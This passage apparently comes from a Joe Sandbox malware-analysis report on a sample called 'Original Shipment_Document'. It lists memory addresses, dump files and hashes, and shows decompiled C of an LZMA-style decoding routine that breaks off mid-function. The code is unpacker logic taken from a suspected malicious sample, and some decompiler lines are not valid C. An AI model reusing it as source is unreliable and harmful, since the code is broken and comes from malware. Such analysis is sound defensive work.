0x00000000
0x00406de3
0x00406de3
0x00406de7
0x0040742c
0x00000000
0x0040742c
0x00406ded
0x00406df0
0x00406df3
0x00406df6
0x00406df9
0x00406dfc
0x00406dff
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e0c
0x00406e0c
0x00406e0c
0x00000000
0x00000000
0x00406f6e
0x00406f6e
0x00406f72
0x00407438
0x00000000
0x00407438
0x00406f78
0x00406f7b
0x00406f7e
0x00406f81
0x00406f83
0x00406f83
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406f92
0x00406f95
0x00406f96
0x00406f98
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa4
0x00406fa4
0x00406fa7
0x00406fa9
0x00406fa9
0x00000000
0x00000000
0x004071eb
0x004071eb
0x004071eb
0x004071ef
0x00000000
0x00000000
0x004071f5
0x004071f8
0x004071fb
0x004071fe
0x00407200
0x00407200
0x00407200
0x00407203
0x00407206
0x00407209
0x0040720c
0x0040720f
0x00407212
0x00407213
0x00407215
0x00407215
0x00407215
0x00407218
0x0040721b
0x0040721e
0x00407221
0x00407224
0x00407228
0x0040722a
0x0040722d
0x00000000
0x0040722f
0x00406fac
0x00406fac
0x00000000
0x00406fac
0x0040722d
0x00407462
0x00407484
0x0040748a
0x0040748c
0x00407493
0x00407495
0x0040749c
0x004074a0
0x00000000
0x00406a91
0x00407499
0x00407499
0x00000000
0x00407499
0x004072e6
0x0040736c
0x00407372
0x00407375
0x00407378
0x0040737b
0x0040737e
0x00407381
0x00407384
0x00407387
0x0040738d
0x004073a6
0x004073a9
0x004073ac
0x004073af
0x004073b3
0x004073b5
0x004073b6
0x004073b9
0x0040738f
0x0040738f
0x00407397
0x0040739c
0x0040739e
0x004073a1
0x004073a1
0x004073c3
0x00000000
0x004073c5
0x00000000
0x004073c5
0x004073c3
0x00000000
0x00407238

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebae6c99bd50000eb285df6155aedf615db6897555c34448d2050622d285009a
Instruction ID: 8a2c3c043c9bb5ba2b5721dff60c2e2798a6d81db984abdc297d3eb4e69e55d3
Opcode Fuzzy Hash: ebae6c99bd50000eb285df6155aedf615db6897555c34448d2050622d285009a
Instruction Fuzzy Hash: 11911170D04229CBEF28CF98C8947ADBBB1FB44305F14816ED856BB291C7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406F4A Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406F4A() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M004074A1))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4)); // executed
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
